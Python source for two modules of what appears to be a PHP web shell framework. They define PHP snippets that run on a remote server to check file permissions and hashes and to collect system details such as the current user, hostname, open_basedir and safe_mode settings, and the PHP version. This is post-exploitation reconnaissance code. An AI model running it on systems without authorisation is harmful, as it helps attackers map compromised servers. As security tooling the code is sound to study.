def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) # Declared here since is used by multiple vectors payload_perms = """$f='${rpath}';if(@file_exists($f)){print('e');if(@is_readable($f))print('r');if(@is_writable($f))print('w');if(@is_executable($f))print('x');}""" self.register_vectors([ PhpCode(payload_perms, name='exists', postprocess=lambda x: True if 'e' in x else False), PhpCode("print(md5_file('${rpath}'));", name="md5"), PhpCode( payload_perms, name="perms", ), PhpCode(payload_perms, name="readable", postprocess=lambda x: True if 'r' in x else False), PhpCode(payload_perms, name="writable", postprocess=lambda x: True if 'w' in x else False), PhpCode(payload_perms, name="executable", postprocess=lambda x: True if 'x' in x else False), PhpCode("(is_file('${rpath}') && print(1)) || print(0);", name="file", postprocess=lambda x: True if x == '1' else False), PhpCode("(is_dir('${rpath}') && print(1)) || print(0);", name="dir", postprocess=lambda x: True if x == '1' else False), PhpCode("print(filesize('${rpath}'));", name="size", postprocess=lambda x: int(x)), PhpCode("print(filemtime('${rpath}'));", name="time", postprocess=lambda x: int(x)), PhpCode("print(filemtime('${rpath}'));", name="datetime", postprocess=lambda x: datetime.datetime.fromtimestamp( float(x)).strftime('%Y-%m-%d %H:%M:%S')), PhpCode("print(realpath('${rpath}'));", name="abspath") ]) self.register_arguments([ { 'name': 'rpath', 'help': 'Target path' }, { 'name': 'check', 'choices': self.vectors.get_names() }, ])
def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode("print(@$_SERVER['DOCUMENT_ROOT']);", 'document_root'), PhpCode(""" if(is_callable('posix_getpwuid')&&is_callable('posix_geteuid')) { $u=@posix_getpwuid(@posix_geteuid()); if($u){ $u=$u['name']; } else { $u=getenv('username'); } print($u); } """, 'whoami'), PhpCode("print(@gethostname());", 'hostname'), PhpCode("@print(getcwd());", 'pwd'), PhpCode("$v=@ini_get('open_basedir'); if($v) print($v);", 'open_basedir'), PhpCode("(@ini_get('safe_mode') && print(1)) || print(0);", 'safe_mode', postprocess = lambda x: True if x=='1' else False ), PhpCode("print(@$_SERVER['SCRIPT_NAME']);", 'script'), PhpCode("print(dirname(__FILE__));", 'script_folder'), PhpCode("print(@php_uname());", 'uname'), PhpCode("print(@php_uname('s'));", 'os'), PhpCode("print(@$_SERVER['REMOTE_ADDR']);", 'client_ip'), PhpCode('print(@ini_get("max_execution_time"));', 'max_execution_time', postprocess = lambda x: int(x) if x and x.isdigit() else False ), PhpCode('print(@$_SERVER["PHP_SELF"]);', 'php_self'), PhpCode('@print(DIRECTORY_SEPARATOR);', 'dir_sep'), PhpCode(""" $v=''; if(function_exists('phpversion')) { $v=phpversion(); } elseif(defined('PHP_VERSION')) { $v=PHP_VERSION; } elseif(defined('PHP_VERSION_ID')) { $v=PHP_VERSION_ID; } print($v);""", 'php_version') ] ) self.register_arguments([ { 'name' : '-info', 'help' : 'Select information', 'choices' : self.vectors.get_names(), 'nargs' : '+' } ])